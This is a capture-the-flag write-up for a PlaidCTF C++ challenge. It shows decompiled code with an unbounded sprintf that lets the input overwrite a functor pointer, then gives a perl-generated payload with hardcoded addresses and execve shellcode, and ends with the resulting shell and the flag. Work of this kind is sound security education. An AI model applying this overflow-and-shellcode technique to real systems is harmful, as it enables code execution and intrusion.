pCTF challenge #17: C++5x
AED decided to use C++ to develop their internal tools. However, they seem to make a mistake one of their new C++ programs. Exploit and get the key! ssh username@a5.amalgamated.biz
X-rayed code
void __cdecl main(signed int a1, int argv[1]_here) { int argv[2]_length; // eax@3 char some_object; // [sp+1Ch] [bp-14h]@3 int v4; // [sp+20h] [bp-10h]@4 signed int *v5; // [sp+24h] [bp-Ch]@1 void *v6; // [sp+2Ch] [bp-4h]@1 void *v7; // [sp+30h] [bp+0h]@1 v6 = v7; v5 = &a1; if ( a1 <= 2 ) sub_80487A4(*(_DWORD *)argv[1]_here); sub_8048846(&some_object); argv[2]_length = atoi(*(const char **)(argv[1]_here + 8)); v4 = argv[2]_length; sub_804896C((int)&some_object, argv[2]_length, *(_DWORD *)(argv[1]_here + 4)); } void __cdecl sub_804896C(int functor_object, int a2, int a3) { char can_be_overflowed; // [sp+26h] [bp-32h]@1 sprintf(&can_be_overflowed, "Uploading... [%s]: %d pts\n", a3, a2); memcpy(s, &can_be_overflowed, 0x32u); (**(void (__cdecl ***)(_DWORD, _DWORD))functor_object)(functor_object, s); sub_8048870(); }
This program gets input the string from ARGV[1] and size from ARGV[2].
And performs sprintf to buffer sized 0x32, without mentioning the size.
And it calls functor to run printf function, which is overwritable.
So we can take control of eip by overwriting functor object.
The functor object should have the address of pointer of a function.
So we need exact address location to do indirect call, however, there is global variable s.
Also, a5 machine has executable stack, executable global variables, executable heaps(even though ppp mentions that they turned on NX), so we can write shellcode there and jump to that global variable s.
If we push,
[addr_of_pointer][addr_of_shellcode][shellcode][padding][functor]
Then the functor will call shellcode.
Address of buffer s is 0x8049dc0. Buffer s will have 14 bytes of garbage, "Uploading.... [", so our attack vector starts from 0x08049dce.
So, addr of pointer is at 0x8049dce,
addr of shellcode is at 0x8049dd2,
and shellcode is at 0x8049dd6.
Build the vector.
[0x8049dd2][0x8049dd6][shellcode][padding( shellcode + padding = 36)][0x8049dce]
With 16byte shellcode that execute AAAA,
"\xd2\x9d\x04\x08\xd6\x9d\x04\x08","\x6a\x0b\x58\x99\x89\xd1\x52\x68\x41\x41\x41\x41\x89\xe3\xcd\x80","a"x20,"\xce\x9d\x04\x08
is the vector.
cpp1_85@a5:~$ ./first_cpp `perl -e 'print "\xd2\x9d\x04\x08\xd6\x9d\x04\x08","\x6a\x0b\x58\x99\x89\xd1\x52\x68\x41\x41\x41\x41\x89\xe3\xcd\x80","a"x20,"\xce\x9d\x04\x08"'` 1 $ id uid=3084(cpp1_85) gid=3001(cpp1key) groups=3000(cpp1users) $ cat /opt/pctf/cpp1/key Virtual_function_is_Virtue